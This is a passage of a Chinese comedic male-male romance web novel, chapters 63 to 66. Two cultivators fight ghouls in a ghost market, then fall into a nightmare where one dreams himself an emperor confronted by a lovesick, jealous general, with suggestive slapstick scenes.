“云兄,我接下来要问一个很冒犯的问题。” 宴焱说着,咬了咬牙,只觉得抓心挠痒的,最后斟酌着说出口: “你、你是不是……断袖啊?” 说完,宴焱又想起什么,慌忙解释: “云兄你别误会,我说这话也不是说你像断袖的意思,就是想确认一下,图一个心安……” 却见云梧竟然也不恼,反而笑意盈盈的提起唇,只是目光暗沉深邃,长睫轻颤,视线落在宴焱红润的唇上。 他没否认,更没承认。 他只是垂眸,手下力道一收紧,让本就细小的缝隙几乎消失,皮肉相贴。 “焱焱觉得呢?” 云梧的乌瞳沉而深,盯着宴焱时,仿若能把他整个人囫囵吞下。 他像是在调笑,又像是在珍重的询问: “焱焱想让我当断袖吗?” 第63章 鬼王 云梧的声音并不大, 反而是故意放轻了尾调。 但宴焱却只觉得这句话轰隆隆的,好像说的是汉文,单个字他都听得懂, 但连起来的意思却叫他怎么也想不明白。 他只得撇过头, 避开云梧的视线, 强撑着, 大声反驳道: “云兄你在说什么……你是不是断袖和我有什么关系?” 这么说着,宴焱强行拍开了云梧紧握着他的手,后退了一大步, 咬了咬牙, 又道: “云兄你不要再开这种玩笑了。” 宴焱嘟囔着,既是在和云梧申告,也是在安慰自己: “云兄老是喜欢开这种玩笑,一点也不好笑。你明明知道咱们都讨厌断袖的。” 云梧眉眼弯弯,没有否认自己在开玩笑,更没有应承宴焱的话把这遭搪塞过去。 他只是略微轻笑了声, 道: “焱焱说的都对。” 什么叫做他说的都对?! 他明明说的就是对的!! 宴焱像是彻底被云梧惹恼了, 凤眸微睁, 嗔了云梧一眼,也不说话了, 咬牙,转过头, 飞快的抬腿跟上大部队, 就要把云梧甩在后头。 云梧也没拦着他, 笑盈盈的任他瞪。 待到宴焱起身准备走了,云梧也立刻迈步,亦步亦趋的跟上。 他和宴焱隔了一段不大不小的距离, 不至于太近惹得宴焱不快,也不至于太远,正正好把握着分寸,让宴焱瞪也不是,不瞪也不是,只好扭过头,避着和云梧的眼神接触。 鬼市的这一路下来倒是安静的可怕。 冥界的植被特征本就阴森可怖,加之沿途尽是堆叠的白骨,更如同传统鬼怪故事中的阴森地府。 宴焱这一路脑子纷乱,但还是强压着,静下心来去探查周遭的环境。 他一撑开掌心,将灵力不着痕迹的发散而开,仔细探查着周遭的异动。 四周已经没有活着的灵魂了,剩下的,只是一些苟延残喘的残魂。 倒是有一股奇怪的气息盘踞在不远处,不属于魂灵,倒像是另一股力量。 宴焱略微蹙眉。 但这气息很不稳定,他一时间对判断的真假也没有完全的把握,只好抿唇,没有着急出声惊动,而是留了个心眼,继续向前走。 往生河蜿蜒曲折,众人一步一个脚印的沿着河岸朝着前方赶路,面前盘踞的鬼市外墙也愈发逼近,庞大的城墙匍匐在往生河的末端河岸,犹如一只负伤疗愈的巨兽,阖着眸子,一动也不动。 宴焱率先驻足,凝神,视线落向眼前城墙。 原本嵌合在城区之上的那只巨大眼球已然消失不见,只剩下一空荡荡的黑洞,其上隐约有干涸的血迹。 宴焱一蹙眉,示意众人将那厚重的城墙推开。 失去了守城的妖兽之后,那城墙便很容易就能推开。随着一声接着一声难听的‘吱呀’,城墙很快侧开一道空隙,叫其中的绝大数人能够通过。 一踏进鬼市,众人的面色皆是一沉。 原本繁荣热闹的鬼市此时已然变成了一个空城,街道之上,没了往日的喧嚣,只剩下沿街破败的陈设,死寂笼罩了各个角落。 如今是冥界时间的凌晨,整个鬼市被一层薄雾所笼罩,又因为无鬼在此徘徊,所以空荡荡的大街之上,便只剩下了众人各自不一的脚步声。 “碰”的一声钝响—— 宴焱立刻回头,警戒的望向声音的来处。 原是一破败的牌匾掉落了下来! 那烫金字体何其熟悉?正是万典茶楼! 宴焱眉头蹙得愈发紧,上下打量了两眼后方尘封落败的大楼,心下唏嘘不已。 鬼走茶凉,一两个月前的万典茶楼还是一副繁华盛景,而今里头的鬼魂不知何处,只剩下了这一栋破败的茶楼,连烫金招牌也像是没人要的垃圾一般随意的丢弃。 云梧倒是心细,一眼就瞧见了宴焱一闪而逝的怅然,自然而然的抬脚,朝着他贴了贴。 “焱焱是在想之前在冥界发生的事情吗?” 云梧的声音很轻,仿若贴着耳朵在说话,叫宴焱不自主的往后退了退,别开眼,嘴硬道: “没有,别乱猜。” 这么说着,宴焱还往一旁走了几步,避嫌一样,道: “云兄大可不必贴得如此近。” 云梧垂眼,视线扫过宴焱说话时微微嘟起的唇,面色不变,但唇角不着痕迹的提起,立马道歉: “对不起焱焱,是我疏忽了。” 他话是这么说着的,脚步却一点没落下,而是越贴越近。 “可是焱焱,你先前明明和我说好兄弟勾肩搭背很正常,这会儿又改了规矩。但我这一下子实在改不过来,还希望焱焱体谅体谅我。” 宴焱回头,凤眸微睁,想说些什么回怼过去,可云梧这番话虽说当了好几次借口,每一次宴焱都拿不出什么话来辩驳他,只得咬着牙,不轻不重的又哼了声。 早知道不那么教云梧了!! 云梧怕逼得紧,宴焱下一步就真恼了,只好又正色道: “焱焱,我方才用师尊给我的法器探查过,此处似乎离魂灵很远,但好像又出现了另一股力量。” 宴焱脚步一顿,说起了正事,他也便不再纠结方才的话,转过身,道: “我也有感觉,方才没进鬼市之时还不能确定,但现在……” 宴焱话音未落,忽地,从一处卖纸钱的小铺中窜出了一道黑影,细长的身躯四肢着地,以很快的速度破开陈旧的木门,一接触到地面,便开始飞速扭动。 宴焱当机立断的抽开骨鞭,溟在冥界异常的活跃,骨鞭尾一蜷,便快准狠的落在了怪物的脖颈上,狠狠的又一抽,硬生生的将那怪物的脖颈剥离—— 刺啦一声钝响,怪物的头落地,众人才看清了这是什么东西。 皮肤青黑,四肢扭曲,正是鬼骸的模样。 小辈里许多没见过这东西的,面色都有点儿惨白,但还没等他们说些什么,从四周的房檐处,木门后,甚至是摆摊的木桌底下都纷纷钻出了一模一样的鬼骸! 这里的鬼骸吸收的冥气更多,有的甚至已经进化出了无关,森绿的眼烁着贪婪的光,一步一步的朝着众人逼来。 宴焱手下的骨鞭一刻不停,迅速的扫开一片飞扑而来的鬼骸。 但它们实在是太多了。 这里是冥界鬼市,本就是鬼骸的大本营。来此的小辈多的是经验不足的,于是在进来的时候多少都泄漏了一点儿生人的气息,导致如今这鬼骸愈发的暴动。 渐渐的,原本安静的街边房檐之上逐渐爬满了前来觅食的鬼骸,青黑的躯干遍布落败的灰墙,森森绿眼交叠重复,不断有细微的喘气声此起彼伏的交叠,叫人毛骨悚然。 二十几人的小团队被挤到中间,数人面色发白,握着法器的手直抖。 云梧和宴焱倒是都没慌,下一瞬,宴焱当机立断的朝着左前方一指,道: “往那走!!” 左前方的包围的确薄弱,宴焱先行抬脚急掠而去,云梧紧跟上,其余人也立刻朝着那地方奔走。 鬼骸察觉到了猎物们的异动,四肢齐齐扭动,打头的几个大张着血盆大口,眼见就要咬住其中一人的小腿—— 随着一声惊叫,那名剑修没来得及拔出剑,本来已经闭了眼,颤巍巍的等着鬼骸咬下。 但下一瞬,银白的骨鞭在他的面前一晃,很快将那东西飞抽而去。 那剑修哆嗦着,立刻抬脚往前赶,本来想抬头,对着宴焱投向感激的一眼,却不想抬眸便对上了一旁云梧略沉的眸。 不知是不是剑修的错觉,云梧的眼神好像……略有点儿敌意? 时间紧迫,云梧也只是扫了那剑修几眼,确认了这人的容貌身型都不如他后,这才放下心,继续转过头,箐云剑一挥,和宴焱一起合力破开一条道来。 “可能是鬼王。” 宴焱忽地垂眼,对着云梧道。 “气息森冷,其中还参杂着许多其他魂灵的味道,应该是这几日如同养蛊一样养出了鬼王。” 随着宴焱的话音刚落,忽地,脚下的路随着一声轰隆隆的巨响,从半途之中突兀的塌陷而下! 整个鬼市犹如地龙翻身,地面打颤,不断有小石子从高处滚落而下,原本平坦的石路骤然出现一块空洞,张着大口,就要将所有人吞吃入腹! 第64章 梦魇 坑洞以所有人都想象不到的速度急速扩张着, 如同石子坠入平静的湖面一圈圈扩开。 所有人都防避不及,高呼声此起彼伏。连狂涌而上的鬼骸也没能躲避,一起坠入了坑中。本就摇摇欲坠的房屋更是一连串的凹陷倒塌, 坠入深不见底的坑洞之中。 宴焱当机立断的甩开骨鞭, 尾端的尖刺牢牢的扣住断处, 悬在空中。 他向下望去, 却见多数人抵抗不及,坠入坑中,生死不明。 云梧的反应速度也很快, 箐云剑一抽, 钉在石壁之上,同时快速的踩着向下掉落的石块变化位置,堪堪止住向下坠落的趋势。 在坑洞的上方,逐渐凝结出一片磅礴的黑云,乌压压的向下沉,与此同时, 薄雾散开, 眼前如同末日一般的景象清晰明了。 浓云卷着低沉的气压, 下方在吞噬,上方也形成了一龙卷风眼, 将细小的东西全都吸纳而进,沿街十里高楼被撕裂成两半, 厚重的木桩如同破碎的纸片, 被无情的吸纳粉碎。 很浓重的鬼气!! 宴焱一蹙眉, 当即对着云梧道: “那鬼王就在附近!” 说是鬼王,实则就是冤魂太多、混乱无序的冥界中养蛊养出来的一个地头蛇。 眼下他们一行人非但没能探查清楚叛逃魂灵的所在地,反倒是引起了这东西的注意。 云梧也意识到情况危急, 面色凝重,他伸出手,本想和宴焱汇合一起上至高处,但下一瞬,忽地从坑底又弹出一粗大的,混沌状的触手。 那触手灵活至极,黏腻的表皮之上还附着一层淡淡的浅灰色薄雾,不断的扭曲盘旋,朝着二人快速的袭来—— 云梧见多识广,立刻就判断出了触手的出处。 “是梦魇的触手!” 梦魇是冥界特有的邪兽,兽如其名,总喜欢把修士或是生了灵智的妖兽拖入他们编造的梦魇之中。这梦魇倒是和心魔镜有异曲同工之妙,都是窃取修士内心深处的欲望,编造梦境。 只不过一个是浅尝辄止,提提点点便收手。一个则是奔着把修士耗死在梦境之中。 那触手仿若生了灵智,追着二人疯狂的掠来。 宴焱没有迟疑,搭上云梧的手,随即骨鞭奋力的抽开,将二人又迅速的和这东西拉开一段距离。 云梧的箐云剑一刻不停,迅速砍出一道凌厉的剑风,冲着那触手砍杀而去—— ‘刺啦’一声可怖的响动,那触手被砍伤了一道深可见骨的大缝,汩汩的鲜血疯狂涌出,迅速蔓延了整条扭曲的触手。 它很明显被激怒了,巨大的身体开始扭曲变形,盯紧了将它刺伤的云梧,穷追不舍的袭来。 这只梦魇被鬼王所吸收,所以境界不比寻常的梦魇,而是更有攻击力,速度也更快。 它的尖端分裂出一道细小的缝隙,随着宴焱又抽下一鞭,尖锐的钩体刮过那小缝隙,下一瞬,那缝隙就飞快的涨大,随后均匀裂成几瓣,张开之后,赫然出现了如同巨口一般的猩红花蕊,朝着二人扑来—— 云梧是它的首要目标,蕊心分裂出的两条小红丝就这么缠上了云梧的一只手,奋力往里头一拽! 箐云剑一转,云梧就这着那红丝果断砍下,但下一瞬,那红丝继续生长,甚至越长越细长,越长越密集,逐渐形成一股密密麻麻的丝状丛林,意图缠绕上云梧的全身,直至将人拖入梦魇之中。 不好! 宴焱瞳孔一缩,咬牙。 这梦魇不如其他的妖兽,它们的攻击主要就是迷惑猎物的神志。 那红丝之中也藏了它们的灵气,一旦被碰触,恐怕距离被拽入梦魇也不远了! 果不其然,梦魇狡猾至极,在先前探出的那状似无害的细丝里头藏了浓厚的灵气,而今,那股灵力早便已经渗入了识海,拽着云梧往下坠—— 宴焱只觉得他握着的那只手开始发烫,再一往下看,就见云梧的目光已然涣散,显然是被这鬼东西惑住了! “焱焱,放手!!” 云梧的神志半醒半沉,撑着最后一股劲,就要甩脱宴焱的手。不至于拖累着宴焱也被这东西吞了进去。 云梧的劲很大,那么一甩手,宴焱一个晃神,便眼睁睁的瞧着云梧甩开了他的手,就这么被梦魇拽落了下去。 眼见云梧无法逃开梦魇的桎梏,宴焱一咬牙,手中骨鞭一松,也跟着云梧坠了下去—— 两个男主都掉入梦魇,他就不信天道会无动于衷!! 梦魇大张着嘴,猩红的花蕊大开,满足的眯着眼,就这么将二人尽数吞了下去。 潮气与腥气扑面而来。 宴焱厌恶的蹙眉,眼前迅速的陷入一片黑暗。 云兄比他更先一步坠入梦魇中,此刻也不在宴焱身边。 宴焱伸出手,能碰触到的,仅仅只有梦魇黏腻蠕动的皮肉。 很快,梦魇的侵蚀也蔓延到了宴焱的识海。 下一瞬,那无穷无尽的黑暗便大张着口,将宴焱的意识吞噬殆尽。 * 宴焱再睁眼的时候,暗淡的光线侧过头顶的明黄,透进眼中,白斑晃了晃,这才恢复清明。 屋里熏了香,沉沉的,让人浑身都酸软无力。 他似乎躺在一张柔软温暖的玉床上,只是手脚都沉重不堪,宴焱尝试着抬了抬手指,无果。 身体不受自己掌控了。 梦魇每一次的梦境只能选定一位修士,看它方才的架势,应当是把云梧当成了吞噬的对象。如此看来,自己无法动作也有了理由,毕竟是被吞入了云梧的梦中,怎么动,应该也是依照云梧的潜意识来演的。 略一思索,宴焱又尝试了一次翻动身体,这一会儿倒是能动了。随着宴焱轻轻转动身体,床褥发出窸窣的响动,于此同时,重重纱幔之后,传来了一声轻唤: “皇上,可是要更衣?” 皇上?? 宴焱略一挑眉。 云兄这是拿了什么剧本?宫斗?权谋?居然连皇上都梦出来了。 他本想出声,但下一瞬,随着宴焱转身的幅度加大,手臂贴上了一块冰冷柔韧的肌肤,不像人类,倒像是…… 宴焱一转头,就这么和一只通体黝黑的巨蟒对上了视线。 宴焱:…… 什么鬼东西?? 那巨蟒还穿着一身半透红裳,半遮半掩的。见宴焱醒了,谄媚的便嘶叫了两声。蛇身盘动,蛇尾一抬,就这么亲昵的缠上宴焱的腰肢,轻轻揉了揉。 宴焱只觉得腿肉间贴上了什么东西,再低头一看,就见那畜生鳞片大开,探了出来,张牙舞爪的,挑衅似的晃了晃。 宴焱面色瞬间发黑,牙关紧咬。 云!!梧!! 他的潜意识里都藏了什么鬼东西!! 宴焱想开口痛骂一声云梧,但口舌发干,显然这词在梦中说不出来,他只得黑着脸,立刻抬脚,毫不犹豫的朝着小畜生踹了下去! 死断袖! 巨蟒哀叫一声,委屈的蜷缩了身子,可怜巴巴的瞧了宴焱两眼,见他是真恼了,这才哆嗦着要爬下床。 太监有眼色的掀开纱幔,就要搀扶着宴焱下床,一面还朝着一旁侍候的小太监使了个眼色,道: “还不快把修贵人请回宫?” 贵人?? 宴焱震惊的回望了那巨蟒一眼。 这死断袖蛇居然还有封号? 小太监得了令,连忙应是。 很快,一队小太监鱼贯而入,一人两只手,齐力嘿咻嘿咻的就把巨蟒扛上了肩头,往殿外抬。 巨蟒、不,修贵人显然还不死心,抬起头颅,冲着宴焱的方向又是哀哀戚戚的嘶叫了两声,但说的是蛇语,宴焱也听不大懂,只得从那金色竖瞳里窥见几分悲恸。 宴焱:…… 宴焱背着手,倒真像极了冷漠无情的帝王,冷眼看着自己的‘宠妃’就这么一朝失宠,被强行抬了下去。 这梦倒是全面,甚至还有细小的太监交谈作旁白: “哎,陛下是换了这周的第几个了?” “伴君如伴虎,下面又要给陛下物色新蛇了。” …… 大太监小心翼翼的瞧着宴焱几经变幻、最后黑成一滩浓墨的面色,连忙垂下头,弯腰拱手,哆嗦着开口: “陛下……该上朝了。” 闻言,宴焱冷笑一声。 “是么,我原来还要上朝啊?” “幸亏你提醒了,否则我还要以为我不是皇帝,而是个只知道配、种的雌蛇呢。” 宴焱皮笑肉不笑的,森冷冷的从牙缝里逼出这几句。 大太监不知道陛下这是又生了什么气,只得弯下腰,一面陪着笑,连声应‘是’,一面给小太监递眼色,将上朝的龙袍呈上。 宴焱的脾气当然不是发给这些下人看的,他恨恨的撂下几句狠话,也不管云梧的潜意识能不能听得到,转头,这才拧着眉,将龙袍穿上。 皇帝上朝不是小事,那头一众宫人遥遥的抬来了御辇,一路众星捧月的就要把宴焱引到了前殿。 由于‘皇帝’今早沉迷宫闱秘事,待到宴焱到时,众位朝臣早就等候多时。 殿中乌泱泱跪了一大众朝臣,各个叩首拜礼,接着就是齐天振地的‘吾皇万岁万岁万万岁’,吵得宴焱蹙眉抿唇,摆了摆手,不愿多费时间,就要让朝臣们起身。 朝臣们得了圣令,又是谢恩,又是慌忙爬起,各个垂首执朝笏,哆嗦着不敢直面圣颜。 宴焱扫视了几圈,都没能瞧见熟悉的身影,眉头是越皱越紧。 云梧这是上哪儿去了? 这一圈朝臣都没他的影子,难不成……他给自己投做了太监? 宴焱略一摸下巴,觉得有可能。 人界王朝,多得是宦官当道的事迹,若是云兄给自己安排了个权谋干政的宦官剧本,也是情有可原。 这么一想,宴焱便招了招手,示意大太监上前来,低声问道: “宫里头有没有一个唤做云梧的太监?” 大太监一听,略微一怔。 不知是不是宴焱的错觉,在他说出这话之后,不止是满朝文武,就连窗外的细弱的鸟鸣、穿堂的微风,都凝固了一瞬。 没等大太监接话,似乎是要消除宴焱的疑虑般,殿中的前头忽然站出了位年过半百的朝臣,扑通一下跪在了地上,扯起嗓子,大嚷道: “陛下——陛下——” “您封后大典在即,那镇北侯云梧听了回京圣令之后,却至今无动于衷,连个口信都没回,一定是包藏祸心,有篡位之嫌啊!!” 很快又有人站了出来,和说戏似的,和那朝臣对喷了起来: “你胡说!!你个老不死的,我看你就是嫉妒镇北侯英俊潇洒武功过人器大活好才高八斗!!” “镇北侯对圣上忠心耿耿!一片赤诚之心,天地可鉴啊!!边关事紧,镇北侯脱不开身也是情有可原呐!” 宴焱听得一愣又一愣的,缓缓眨了眨眼皮。 好像混入了什么奇怪的东西…… 老臣岂能罢休?摆出一哭二闹三撞柱的架势,继续嚎道: “陛下,陛下!!这镇北侯手握边疆守军百万,拥兵自重,甚至有民间传闻道,镇北侯私藏了陛下您的龙袍亵衣,有效仿前朝黄袍加身之嫌啊……” 宴焱:…… 龙袍他能理解,亵衣是起到了一个什么作用? 老臣一发话,引来了更多的朝臣加入,你一言我一语的,唾沫横飞,指着对方鼻子痛骂,就差在朝堂上干起架来。 宴焱有一搭没一搭的听完了整场混乱纷杂的骂架,抛去梦境故意夹带私货夸云梧的部分,很快便能梳理出了事情的全部脉络。 当今朝堂上大致分为两派,一派是以老臣为代表的文官集团,是新帝的势力;另一派则是抱团的武将,也是镇北侯云梧的拥趸。 云梧乃是先帝的左膀右臂,自年少时就上场杀敌,年纪轻轻的靠着军功夺得了镇北侯的爵位,势力扎根朝野,哪里是宴焱这个刚登基不久的新帝一时能够撼动的? 但一山不容二虎,自己这个新帝方才登基,权利尚未稳固,自然容不得功高震主的镇北侯在旁虎视眈眈,把云梧视作了眼中钉肉中刺。 这场早朝,就是自己默许文官们表演的一场戏,为的就是要用封后大典引云梧入京,褫夺他的兵权,将云梧斩杀。 宴焱略一挑眉。 看来云兄的潜意识还是觉得他们是宿敌。 底下武将文官打得火热,上头的皇帝昏昏欲睡。 宴焱见武将势力一时半会儿是不会让步了,正想拧眉,找个由头下朝,之后再另寻个法子,引诱云兄靠近自己,再找到破除梦魇的方法。 但,殿外突然传来一声长报,有个太监连滚带爬的从殿外进来。 “陛下,陛下!!!边关情报有误!!” “镇北侯他、他没有抗旨!!是单枪匹马的连夜加急赶回来了!!” 第65章 云兄你怎么觊觎我的屁股…… 太监话音刚落, 殿外就传来一阵急促的马蹄声,铁甲踏过玉阶,竟是那镇北侯未经通报, 就这么擅自闯入了宫门—— 御下禁卫军迅速集结成排, 排排利戟落下, 冷光对准了殿外飞驰而来的身影。 那老臣见此情形, 更是哭天抢地的匍匐在地,大声疾呼道: “陛下,陛下!镇北侯定有谋逆之心啊!” 一时间, 文官们仿佛占领了道德高地, 也不管殿门前究竟情况如何,各个哭嚎得厉害,吵得宴焱眉头紧锁,无力的揉了揉眉心。 这些文官,怎么和系统一样的吵? 禁卫军人多势众,加上高马之上的人根本没有抵抗, 很快, 镇北侯便被人架着带到了殿前。 见熟悉的身影终于出现, 宴焱眉间的郁色这才消散几分,坐直了身子, 垂眼望去。 云梧人高马大的,好几个禁卫军才能架得动他。此时云梧被人压着脖子, 强硬的让他给陛下施礼。 明明是自己送上门来, 云梧脸上却有着宴焱看不懂的倔强和愤慨, 他略一挣扎,最后还是咬着牙,‘砰’的一声伏地跪下。 宴焱自然没想为难云兄, 但他初入梦魇,也不知道若是不符合梦中逻辑会不会引起梦魇的警觉,只好维持人设,挥了挥手,佯装疲倦道: “爱卿,你为何如此着急,还擅自入京?” 宴焱此话一出,云梧便忽地抬起头,那双连夜赶路的双目已然赤红,盯紧了高座上的宴焱,牙关紧咬,声音打颤,一字一句: “陛下,原因您明明心知肚明。” 宴焱:? 我要知道还用问你? 云梧说完这话之后,面上的悲戚愤怒愈深,狠狠的盯着宴焱,恨不得立马把人从高座上拽下,剥衣露体,让这负心汉知道知道他云梧的厉害! 宴焱磨了磨牙,眼看着在这么多人面前恐怕问不出什么,只能头疼的扶着额,叹了口气: “既然如此,来人,将镇北侯先行带下。” 说罢,他又一挥手,不着痕迹的瞥了云梧一眼,出声,结束了今早的混乱: “退朝!” 大臣们虽心有不忿,但碍于新帝的威严,还是各个叩首伏地,眼睁睁的瞧着新帝被一群太监侍卫簇拥着回宫,那狼子野心的镇北侯也被禁卫军带了下去。 御驾一路顺畅,从前殿遥遥到了后宫,宴焱下了御驾之后便迫不及待的屏退了一众太监侍卫,转而传了口谕,说要镇北侯单独去见他。 宴焱话音刚落,那大太监就面色一变,转而颤巍巍的跪了下来,道: “陛下,可,可镇北侯他包藏祸心,您与他单独共处一室,怕是要……” 他话没说完,只是战战兢兢的抬头瞧了眼宴焱的面色。 宴焱蹙眉,一挥手,心下只觉得梦魇为了不让他俩单独相处费尽了心思,选择性的忽视了大太监欲言又止的目光。 陛下一意孤行,禁卫军也只好在殿外守着,解开了云梧身上的禁锢,将人单独放了进去。 ‘吱’的一声。 大殿的侧门被开了一道缝,那风尘仆仆的镇北侯便这么一步一步的朝着高座之上的新帝走去。 云梧的视线是丝毫都没有掩饰的炽热,烈烈的,蓄势待发的便要扑上面前的猎物,咬筋吃骨,连一点儿皮肉都不肯放过。 宴焱被他盯得直发毛,但面上不显,任由云梧一步步的踏上玉阶,朝着他逼近。 “陛下真是胆大。” 野心勃勃的镇北侯见了陛下,居然连礼数都顾不上了,他径直俯身,不顾新帝的目光,薄唇贴近新帝的耳,一字一顿。 “都这样了,居然还敢让臣一个人面圣。” 云梧的目光肆无忌惮,态度不像是个臣子,倒像是个被辜负了的怨夫。 这会儿他的嘴上说着敬语,大掌却不老实,一下犯上的一伸手,猛地攥紧了宴焱的雪腕。 云梧的力道很大,动作又出其不意,将人硬生生的往他那儿拖了一寸。 镇北侯不愧是久经沙场,肩宽体阔,一身虬结的肌肉,哪是从小养在深宫里的新帝能够抵抗得住的? 一拖,再一俯身,宴焱整个身子都被云梧罩得严严实实的了。 “镇北侯!你在干什么!” 宴焱本来想等云梧靠近了点,再试探试探他有没有一点儿外头点记忆,谁知云梧直接来了这一招,叫宴焱把方才备好的词都忘了个干净,只得反射性的往外挣脱。 谁知宴焱这一出声,云梧眉间怒意更甚,大掌一扣,把宴焱的两只手都高高的举过了头顶,咬牙切齿道: “你还在装不认识我!!” “信不信、信不信我就在这龙椅之上把你弄了?!” 云梧这头是一脸癫狂隐忍,不管不顾的就这么说了出口,可怜宴焱,本来还在想办法让云梧放开自己,一听云梧这话,连挣扎都忘记了,一双凤眸可怜的睁大。 他、在、说、什、么??!! 宴焱深吸了口气,闭了闭眼。 没事,没事。 这只是个梦,梦里的云梧脑子不清楚也是正常的。 云梧他一定是直男!! 但还没等宴焱哄好自己,云梧又开口了,似乎嫌弃宴焱压力不够大般,意图添油加醋,忽地轻声调戏道: “陛下,不,焱焱,你的耳朵红了,是在害羞吗?” 宴焱一顿,反射性的想摸自己的耳朵,却发现自己手还被扣着,只得咬咬牙,不轻不重的踢了云梧一脚,气得直反驳: “谁害羞了?!你才害羞!” 说完,宴焱惊觉自己又被云梧带着走了,便像是要说服自己一样,嘴硬道: “你话给我说清楚,什么、什么叫做弄我?” “我是皇帝,你、你难道想行刺吗?!” 他们二人贴得很近,只要云梧再靠近点,低点头,就能封住那张喋喋不休,欠教训的红唇。 宴焱这头还在据理力争,试图把古怪的气氛带回正常,但云梧突兀的低声嗤笑却忽地打断了他的滔滔不绝: “焱焱,你还在揣着明白装糊涂。” 云梧的眸子很深,乌瞳沉沉的,能把人一口吞进去。 此言一出,宴焱登时顿住了,良久,才开口: “你在说什么,我听不懂。” 若是蜀山剑宗少宗主云梧听了这话,可能会就此收手,放了宴焱一马。 但可惜,现在桎梏着宴焱的是镇北侯云梧。 就见云梧忽地张口,满眼悲怨: “焱焱,你又这样,水了我提裤子就跑,水了我就不承认。如此抛弃我,你知道我在边疆有多想你吗,你害得我失去贞洁,还这副无所谓的样子,转头又封了旁人作皇后,我连个妾都不是,你真的害得我好苦……” 云梧字字句句,那叫一个心酸难言,满腹都是怨夫被抛弃之后的牢骚埋怨。 宴焱睁大了凤眸。 谁和你水过了??! 谁把你抛弃了?! 这梦怎么能这么离谱啊?! 偏偏云梧这一次还是奔着一定要给负心汉一点教训来的,见宴焱一脸震惊,却不回应他的话,心头的妒意爱意堆积交缠,只盼着寻个出口发泄了。 于是,就在宴焱还在愣神之际,云梧另一只大手立刻扣住了他的腰,将宴焱整个人囫囵翻了个身子,又一提宴焱的腰,将人上半身靠在龙椅椅背之上,下半身跪于椅上软榻,随即一抬手—— ‘啪’的一脆响。 宴焱瞳孔一缩,震惊的转过头。 他打哪儿呢??! 凭心而论,他宴焱一个铁骨铮铮的龙傲天,什么累什么疼他不能吃? 但、但被人揪着。打,这还是平生第一回。 云梧即使在气头上,但还是舍不得把他金枝玉叶的陛下怎么样,所以下手的力道还是收着的。可即便如此,陛下却还是一脸痛极了的模样,叫他心头一颤,蓄力的下一掌收住,转而轻飘飘的落在了宴焱被拍红的。上,不轻不重的揉了揉。 “焱焱,我再给你一次机会,把那个妖妃休了,和我过,不然……” 云梧俯下身,一字一句: “边疆的百万军,我已然抽了十万兵力埋在天元关,不用一个时辰,京城便会失守。” “焱焱,帝位和后院,你只能选一个。” 云梧此话刚落,正想好好看看这负心汉的表情,但出乎云梧意料之外的事,负心汉非但不是一脸犹豫,那张美人面上反倒满是怒气: “云!兄!” 宴焱一字一顿,从牙缝里逼出两字,面庞不知是气的还是羞的,烧得通红,心头却是拔凉拔凉的。 可偏偏梦里的云梧好似看不懂他的怒气一般,甚至得意洋洋道: “现在改口叫情哥哥了?晚了!!” 宴焱:…… 谁管他叫情哥哥了?! 等等…… 宴焱忽地意识到了什么。 梦魇不会凭空编造梦境,所有的情节和设定都是依照修士的潜意识来进行的。 也就是说……云梧还真是把这称呼当作情哥哥来看待的?! 宴焱一闭眼,只觉得心头拔凉拔凉的,身体硬硬的,凉凉的,好像死了许久。 事到如今,宴焱已经没有办法欺骗自己了。 兄弟,兄弟,我把你当我的好兄弟。 你居然觊觎我的屁股!! 第66章 亲吻 被断袖盯上是一种什么样的感觉呢? 初入六界的宴焱对此颇有感触, 曾经的他,立誓要斩尽天下所有的断袖,也差点被这群阴魂不散的死断袖逼到崩溃。 但好在, 他遇上了另一个和他一样崆峒的直男, 两个人相谈甚欢, 那叫一个情同手足、如兄如弟!同被同眠, 不知天地为何物,可谓是一方如同关羽张飞般的佳话。 可如今…… 宴焱睁着一双凤眸,只觉得悲从中来。 为什么!!! 为什么上天要这么对他!! 他如此悲愤的望着云梧, 云梧也悲愤的回望宴焱, 两个人各崩溃各的,互不耽搁。 云梧盯紧了眼前一脸逃避的宴焱,企图从负心汉面部的微表情里读出哪怕一点儿答应的迹象。 但很可惜,不仅一点儿答应的迹象都没有,面对云梧字字泣血的控诉,睡完提裤子就跑的陛下甚至还想着往外逃—— 雪白的罗袜早就被蹬得向下滑落, 露出白皙的脚踝, 此时脚心乱踢, 抵着椅背,桌沿, 纷乱中,又狠狠的踩上了滚烫的物件。 脚心敏感, 肌肤一滚、一贴, 宴焱一个激灵, 就明白了后头抵着的是什么东西。 “云、梧!!” 他是真的气急了,牙关都在打颤,咬字支离破碎。 可云梧的力道太过强硬, 长袍之下,麦色小臂青筋浮起,五指紧扣着宴焱的腰,溢出些许软肉,往里狠狠一拖—— 可怜的臀部软肉被挤压而外溢,轻轻一颤。 因为方才被打过,那块软肉还疼着,这会儿一贴上方才脚心抵着的东西,火热的触感更甚。 宴焱不可置信的望后一瞥。 却见罪魁祸首非但没有愧疚,甚至还挑衅回望着宴焱震惊的双眼,又往里摁了摁。 宴焱只觉得自己的身体都在轻抖,是气的。 这是一个极为危险被动的姿势,只差一点儿,就能叫二人中间纸一般薄的薄膜着火,燃烧,烧出个天崩地裂来。 宴焱身为直男的最后一点儿可怜的直觉在告诉他,快些跑。 跑,怎么跑? 他的灵力在梦魇之中被压制剥夺。况且这本就是一场梦,梦的主人想对他做什么,简直就是信手拈来。 宴焱也意识到了这一点,脑子里轰然一片,咬牙切齿: “你要干什么??” 但云梧可不会因为宴焱失神的间隙而停止‘惩罚’,面对宴焱的质问,他没回答,视线贪婪的刮过宴焱因紧张而绷紧的背部线条,忽地扯出一抹笑。 ——三分癫狂三分心碎三分□□难藏。 紧接着,他的另一只手松开了宴焱的腕,转而强硬的将宴焱又翻了过来,箍住宴焱的脸,轻轻向上提,逼着宴焱同他对视。 却见云梧面露心死,一字一顿,心碎道: “呵,男人,你果然还爱着那条死蛇!!” 宴焱崩溃欲逃的神情僵硬了一秒,可惜他的脸被虎口掐着,唇肉嘟起,发出的声音不成字句: “唔唔唔唔?” 不是,怎么还有蛇的事?? 可下一秒,云梧不复方才的悲痛欲绝,薄情眼转而危险的眯起,唇角忽地勾起一抹冷酷的弧度。 既然如此,就别怪他云梧无情了! 上一世,他被新帝骗身骗心,被抛弃在遥远的北境。眼睁睁看着新帝与黑蛇新婚燕尔,自己孤独终老。 这一世,他携百万雄狮强势归来,这一次,他云梧一定要拿回属于他的后位!! 他,彻底黑化了!! 忽地,宫外突兀的滚来一阵‘轰隆隆’的雷鸣,原本晴朗的天幕居然下起了暴雨。 